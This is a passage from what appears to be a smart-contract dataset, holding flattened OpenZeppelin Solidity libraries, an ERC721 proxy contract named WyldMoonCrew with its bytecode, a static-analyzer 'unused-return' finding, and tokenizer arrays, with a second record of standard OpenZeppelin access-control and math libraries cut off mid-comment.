* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/StorageSlot.sol@v4.4.2
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File contracts/WyldMoonCrew.sol
pragma solidity ^0.8.4;
contract ERC721ContractWrapper is Proxy {
address internal constant _IMPLEMENTATION_ADDRESS = 0x0AaD9cf1D64301D6a37B1368f073E99DED6BECa5;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply
) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = _IMPLEMENTATION_ADDRESS;
Address.functionDelegateCall(
_IMPLEMENTATION_ADDRESS,
abi.encodeWithSignature("initialize(string,string,uint256)", _name, _symbol, _totalSupply)
);
}
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
contract WyldMoonCrew is ERC721ContractWrapper {
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply
) ERC721ContractWrapper(_name,_symbol,_totalSupply) {}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220ae78adb94ead3eda0f3d5dc9b273c417061bbeabe9da25f3a64ccec4ba405baf64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2546,
27814,
2497,
28311,
2497,
2487,
2094,
2549,
2497,
17788,
2575,
2094,
23499,
2692,
2575,
2581,
3540,
22907,
2692,
14141,
2546,
23777,
2278,
2620,
2581,
26224,
2497,
2487,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1022,
1012,
1017,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
24540,
1013,
24540,
1012,
14017,
1030,
1058,
2549,
1012,
1018,
1012,
1016,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
24540,
1013,
24540,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
2023,
10061,
3206,
3640,
1037,
2991,
5963,
3853,
2008,
10284,
2035,
4455,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,509 | 0x953FAC9865377f801c8Ad9abF9EFcAe239d7D282 | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
